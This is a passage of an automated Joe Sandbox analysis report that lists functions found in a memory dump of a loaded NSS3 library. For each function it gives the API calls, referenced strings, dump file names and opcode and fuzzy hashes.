PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CC5F0AD,6CC5F150,?,6CC5F150,?,?,?), ref: 6CC5ECBA

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CC5ECD1

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CC5ED02

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CC5ED5A

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 3d04e5d7f0f9ab061dc1ae327e4b59ddb0e57624536e510a05e7c0afdc1f609c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4621A1B1A007429BE700CF26D944B52B7E4BFA4349F25C25AE81C87A62FB70E5A4C7D5

Function 6CC8EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EE14

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

memcpy.VCRUNTIME140(?,?,6CC79767,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EE33

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 9ea20f175b96be0c9c6161b7ffd1e8a29ee9f97f5c3873ec09f7782d7e683e4e
Instruction ID: 2db745e94161699479125cbe2c67f0995d84edd45bf6e4f36b21f39d7e93c5dd
Opcode Fuzzy Hash: 9ea20f175b96be0c9c6161b7ffd1e8a29ee9f97f5c3873ec09f7782d7e683e4e
Instruction Fuzzy Hash: 2D11A0B9A02706ABEB109E65DC84B47BBA8FF0435DF20453AE91982A00F331E464C7F1

Function 6CC0DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC206A0: TlsGetValue.KERNEL32 ref: 6CC206C2
Part of subcall function 6CC206A0: EnterCriticalSection.KERNEL32(?), ref: 6CC206D6
Part of subcall function 6CC206A0: PR_Unlock.NSS3 ref: 6CC206EB

CERT_NewCertList.NSS3 ref: 6CC0DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CC0DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CC0DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0E029

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 176e721e7a7facd5156d075fa416bdb8f409c3d78ab8dd6d83cb3272bd89943b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 24112671B44206ABEB101EB95C44BAB76B8BF8075CF08063CE958C7B10F737C816A6E1

Function 6CC28DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC28DE7
EnterCriticalSection.KERNEL32 ref: 6CC28DFC
PR_Unlock.NSS3 ref: 6CC28E2D
PR_SetError.NSS3 ref: 6CC28E49

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2fb11748aea66e1106de2e3a816d4027c06f7cc5173fd621cc4d149f1e696e75
Instruction ID: 4c75275bd0c9ba453fb285bfbf52c1ea2356ad2b3f2ede150bd73c9212538bea
Opcode Fuzzy Hash: 2fb11748aea66e1106de2e3a816d4027c06f7cc5173fd621cc4d149f1e696e75
Instruction Fuzzy Hash: A8118C75A05A159FD700AF78C4886AABBF4FF05714F01496ADD8897B00E734E894CBD2

Function 6CCAAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC95F17,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC95F17,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CCAACDB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: acf2a8b0b346567e5d789144066e265caae42bdec2e2100bca1af6afebf12771
Instruction ID: e51bd3dbcbed19751bda055017324ffa7534ee587114b854b08a25a1c7ffabe6
Opcode Fuzzy Hash: acf2a8b0b346567e5d789144066e265caae42bdec2e2100bca1af6afebf12771
Instruction Fuzzy Hash: 4C019EB5A01B02ABF710DF69D908757B7E8BF84799B104839E85AC3E00E732F015CB90

Function 6CC11DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CC11DFB

Part of subcall function 6CC095B0: TlsGetValue.KERNEL32(00000000,?,6CC200D2,00000000), ref: 6CC095D2
Part of subcall function 6CC095B0: EnterCriticalSection.KERNEL32(?,?,?,6CC200D2,00000000), ref: 6CC095E7
Part of subcall function 6CC095B0: PR_Unlock.NSS3(?,?,?,?,6CC200D2,00000000), ref: 6CC09605

PR_EnterMonitor.NSS3 ref: 6CC11E09

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CC0E190: PR_EnterMonitor.NSS3(?,?,6CC0E175), ref: 6CC0E19C
Part of subcall function 6CC0E190: PR_EnterMonitor.NSS3(6CC0E175), ref: 6CC0E1AA
Part of subcall function 6CC0E190: PR_ExitMonitor.NSS3 ref: 6CC0E208
Part of subcall function 6CC0E190: PL_HashTableRemove.NSS3(?), ref: 6CC0E219
Part of subcall function 6CC0E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC0E231
Part of subcall function 6CC0E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC0E249
Part of subcall function 6CC0E190: PR_ExitMonitor.NSS3 ref: 6CC0E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC11E37
PR_ExitMonitor.NSS3 ref: 6CC11E4A

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: f3dc8512f4db6f74208c57748b71c62bfba858dbe2ee02f73e5c83b95ebf2d29
Instruction ID: e766311dfd98bbf717d70e2cbbb7210e431b22e4748832adaab7ee22beed169d
Opcode Fuzzy Hash: f3dc8512f4db6f74208c57748b71c62bfba858dbe2ee02f73e5c83b95ebf2d29
Instruction Fuzzy Hash: E701B171B4815097EA004BABDC08F527768AF61788F100121A51896F91F736E814DB92

Function 6CC11D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC11D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC11D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CC11D9C
free.MOZGLUE(00000000), ref: 6CC11DB8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 86969000af6d9cdb6fc865e15ab831118ef13490425e624b3358fb6afcbbb78b
Instruction ID: c529d9d2ff4fe2b6d4e72cf18660f4ef281a5df00b19c9627b43cb82f2e4f855
Opcode Fuzzy Hash: 86969000af6d9cdb6fc865e15ab831118ef13490425e624b3358fb6afcbbb78b
Instruction Fuzzy Hash: 4AF049B261961057FB116F5F9C41B873648AFA1788F1102B5DE0847F40F621E410D2E5

Function 6CCAAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC95D40,00000000,?,?,6CC86AC6,6CC9639C), ref: 6CCAAC2D

Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE10
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE24
Part of subcall function 6CC4ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC2D079,00000000,00000001), ref: 6CC4AE5A
Part of subcall function 6CC4ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE6F
Part of subcall function 6CC4ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE7F
Part of subcall function 6CC4ADC0: TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEB1
Part of subcall function 6CC4ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEC9

PK11_FreeSymKey.NSS3(?,6CC95D40,00000000,?,?,6CC86AC6,6CC9639C), ref: 6CCAAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC95D40,00000000,?,?,6CC86AC6,6CC9639C), ref: 6CCAAC59
free.MOZGLUE(8CB6FF01,6CC86AC6,6CC9639C,?,?,?,?,?,?,?,?,?,6CC95D40,00000000,?,6CC9AAD4), ref: 6CCAAC62

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 9aaa317e432b4bc0a77c099e44efea391b2b0d1c5b13881a5ba3b22f3fa23df6
Instruction ID: 5088d9303545c2536a66eae8a5129dd9b99ccd5528db7bf3269cf30678e1c330
Opcode Fuzzy Hash: 9aaa317e432b4bc0a77c099e44efea391b2b0d1c5b13881a5ba3b22f3fa23df6
Instruction Fuzzy Hash: 68014FB5A00201AFEB00DF55E8C4B4677A8AF8475CF18C0A8E9498F706E731E845CFA1

Function 6CC5FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC09003,?), ref: 6CC5FD91

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PORT_Alloc_Util.NSS3(A4686CC6,?), ref: 6CC5FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC6,?,?), ref: 6CC5FDC4
free.MOZGLUE(00000000,?,?), ref: 6CC5FDD1

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 32e010e7a5e629f782c4b5d25306cd440584dbe86c74697b54b56d1f22c25072
Instruction ID: d1b1bc0b5436d200395b62f31ed840783558c2603584455b26350ec9d4c48274
Opcode Fuzzy Hash: 32e010e7a5e629f782c4b5d25306cd440584dbe86c74697b54b56d1f22c25072
Instruction Fuzzy Hash: 39F0AFB6601202ABEB045F55EC90926BB68EF94299B548074E909CAF02FB21D835C7F5

Function 6CD1CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CD1CC61
free.MOZGLUE ref: 6CD1CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CD1CC80
free.MOZGLUE(?), ref: 6CD1CC87

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 235515946e9c8e4c27ed6f46520e3e1012b4a1fb893164b94cd928e6f01ea24f
Instruction ID: dfcf47c569994a47253e04b394dd522f53229bfeea2c889f57b655854a64ca87
Opcode Fuzzy Hash: 235515946e9c8e4c27ed6f46520e3e1012b4a1fb893164b94cd928e6f01ea24f
Instruction Fuzzy Hash: B6E03076B006089BDB10EFA8DC8489677ACEE8D2707150525E791C3700D231F905CBA1

Function 6CBF9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CBF9E1F

Part of subcall function 6CBB13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CB82352,?,00000000,?,?), ref: 6CBB1413
Part of subcall function 6CBB13C0: memcpy.VCRUNTIME140(00000000,6CB82352,00000002,?,?,?,?,6CB82352,?,00000000,?,?), ref: 6CBB14C0

Strings

ESCAPE expression must be a single character, xrefs: 6CBF9F78
LIKE or GLOB pattern too complex, xrefs: 6CBFA006

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: b1942d7980942b17e45cd0e40210b97030ff9c89cc91365fdd5522977429a8ea
Instruction ID: 4562ba5f0848918cd88502c6b11d4ef70db30e37e865ab2c0244e1b8f141b54b
Opcode Fuzzy Hash: b1942d7980942b17e45cd0e40210b97030ff9c89cc91365fdd5522977429a8ea
Instruction Fuzzy Hash: 6B810B70E042914BEB04CF29C4903A9B7F2EF85318F188659D8B89BB95D735E84FC792

Function 6CC54D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC54D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CC54DE6

Strings

%d.%d, xrefs: 6CC54DDE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: f21a6cb90cdacf60fec83156c881d40d3ba015e20a4a0a649207556319bc38ae
Instruction ID: cf0ce24527aefd39b2be2dda3254f7e724117b9033e268f115b20bf93f06e389
Opcode Fuzzy Hash: f21a6cb90cdacf60fec83156c881d40d3ba015e20a4a0a649207556319bc38ae
Instruction Fuzzy Hash: B031F6B2D002186BEB109BA1DC01BFF7768EF41308F410469ED199B791FB309939CBA6

Function 6CC9AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CC9AF78

Part of subcall function 6CBFACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBFACE2
Part of subcall function 6CBFACC0: malloc.MOZGLUE(00000001), ref: 6CBFACEC
Part of subcall function 6CBFACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBFAD02
Part of subcall function 6CBFACC0: TlsGetValue.KERNEL32 ref: 6CBFAD3C
Part of subcall function 6CBFACC0: calloc.MOZGLUE(00000001,?), ref: 6CBFAD8C
Part of subcall function 6CBFACC0: PR_Unlock.NSS3 ref: 6CBFADC0
Part of subcall function 6CBFACC0: PR_Unlock.NSS3 ref: 6CBFAE8C
Part of subcall function 6CBFACC0: free.MOZGLUE(?), ref: 6CBFAEAB

memcpy.VCRUNTIME140(6CD63084,6CD602AC,00000090), ref: 6CC9AF94

Strings

SSL, xrefs: 6CC9AF73

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: c6f5c0aaa4f8572fa2c7b00c4c1a48419d7c97e3a3a5d0152ccbc4f6c3084f37
Instruction ID: 9e2666f772bb5ea30a3969b4a8f7285cc705c19728936259734574a89dc55ef5
Opcode Fuzzy Hash: c6f5c0aaa4f8572fa2c7b00c4c1a48419d7c97e3a3a5d0152ccbc4f6c3084f37
Instruction Fuzzy Hash: 7E214EB2609A88EBEB10DF53A5533327A78B302A88F505108D7894BF65E731805CEFF5

Function 6CBF0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F1B

